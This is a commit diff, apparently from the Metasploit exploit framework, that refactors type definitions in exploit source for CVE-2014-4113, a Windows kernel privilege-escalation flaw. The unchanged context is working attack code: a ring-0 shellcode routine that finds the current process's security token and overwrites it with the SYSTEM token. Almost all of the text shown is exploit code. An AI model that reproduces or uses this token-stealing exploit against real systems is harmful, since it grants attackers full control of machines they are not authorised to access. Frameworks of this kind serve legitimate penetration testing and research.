Use PDWORD_PTR and DWORD_PTR

Author: jvazquez-r7

data/exploits/CVE-2014-4113/cve-2014-4113.x64.dll

@@ -24,15 +24,6 @@ typedef NTSTATUS *PNTSTATUS;
 
 #define PTR_SIZE sizeof(UINT_PTR)
 
-
-#ifdef _M_X64
-	typedef DWORD64 MYWORD;
-	typedef PDWORD64 PMYWORD;
-#else
-	typedef DWORD MYWORD;
-	typedef PDWORD PMYWORD;
-#endif
-
 typedef NTSTATUS(NTAPI *lNtAllocateVirtualMemory)(
 	IN  HANDLE  ProcessHandle,
 	IN  PVOID   *BaseAddress,
@@ -146,9 +137,9 @@ DWORD_PTR __stdcall get_threadinfo_ptr(void)
 
 
 // Search the specified data structure for a member with CurrentValue.
-BOOL find_and_replace_member(PMYWORD pdwStructure, MYWORD dwCurrentValue, MYWORD dwNewValue, MYWORD dwMaxSize)
+BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize)
 {
-	MYWORD dwIndex, dwMask;
+	DWORD_PTR dwIndex, dwMask;
 
 	// Microsoft QWORD aligns object pointers, then uses the lower three
 	// bits for quick reference counting.
@@ -189,9 +180,9 @@ int _stdcall shellcode_ring0(int one, int two, int three, int four)
 	systemToken = pPsReferencePrimaryToken(pSystemInfo);
 
 	// Find the token in the target process, and replace with the system token.
-	find_and_replace_member((PMYWORD)pMyProcessInfo,
-		(MYWORD)targetToken,
-		(MYWORD)systemToken,
+	find_and_replace_member((PDWORD_PTR)pMyProcessInfo,
+		(DWORD_PTR)targetToken,
+		(DWORD_PTR)systemToken,
 		0x200);
 	return 0;
 }